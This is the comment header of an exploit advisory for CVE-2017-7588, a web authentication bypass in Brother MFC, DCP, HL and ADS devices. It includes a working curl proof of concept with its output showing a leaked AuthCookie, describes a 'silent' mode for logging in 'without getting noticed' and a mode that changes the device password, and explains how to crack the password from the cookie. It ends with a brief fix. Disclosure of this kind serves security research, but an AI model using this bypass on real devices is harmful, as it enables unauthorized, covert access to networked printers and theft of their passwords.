/*

# Title: Brother Devices Web Auth Bypass / Change Password Exploit
# Vendor: Brother (http://www.brother.com/)
# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
# Release date: 11.04.2017
# CVE: CVE-2017-7588
# Author: Patryk Bogdan (@patryk_bogdan)

--

Description:
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
Even after failed login attempt, in http response headers appears valid authorization cookie.

PoC for MFC-J6520DW:
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/;

--

Modes:
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
changepass: Change login password to the one you provided.

Note:
Authorization cookie is fixed and it is created as following:
Plaintext password --> ASCII hex --> md5
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)

This information can be used to crack current password from exported cookie.

Fix:
Minimize network access to Brother MFC device or disable HTTP(S) interface.
